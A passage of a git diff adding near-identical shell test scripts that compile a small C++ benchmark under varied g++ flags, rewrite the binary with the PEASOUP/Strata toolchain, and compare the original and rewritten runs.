+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O3.no_pic.-fomit-frame-pointer.no_debug.-m64.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O3.no_pic.-fomit-frame-pointer.no_debug.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..4cc9da1769c79b2b6e467f75d234664fdd521ef7
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O3.no_pic.-fomit-frame-pointer.no_debug.-m64.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="  -O3   -fomit-frame-pointer   -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="  -O3   -fomit-frame-pointer   -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O3.no_pic.no_omit-fp.-g.-m32.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O3.no_pic.no_omit-fp.-g.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..68068fa8da3b4ab2ccba8fd2db2bc47ef09a0127
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O3.no_pic.no_omit-fp.-g.-m32.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="  -O3     -g -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="  -O3     -g -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O3.no_pic.no_omit-fp.-g.-m64.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O3.no_pic.no_omit-fp.-g.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..b1c4af5e32912c30d378f8372d03e1c392dadd0b
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O3.no_pic.no_omit-fp.-g.-m64.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="  -O3     -g -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="  -O3     -g -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O3.no_pic.no_omit-fp.no_debug.-m32.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O3.no_pic.no_omit-fp.no_debug.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..8c67aa953e87d58f5d0e873d88943aa7b909f963
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O3.no_pic.no_omit-fp.no_debug.-m32.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="  -O3       -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="  -O3       -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O3.no_pic.no_omit-fp.no_debug.-m64.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O3.no_pic.no_omit-fp.no_debug.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..b7de3ba99d6a5f6b9ee25bf5c05737a10fad6704
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O3.no_pic.no_omit-fp.no_debug.-m64.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="  -O3       -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="  -O3       -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-Os.-fPIC.-fomit-frame-pointer.-g.-m32.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-Os.-fPIC.-fomit-frame-pointer.-g.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..7e43d5a74e1f70705762df1b4ffae144e0d11d38
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-Os.-fPIC.-fomit-frame-pointer.-g.-m32.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="  -Os -fPIC -fomit-frame-pointer -g -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="  -Os -fPIC -fomit-frame-pointer -g -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
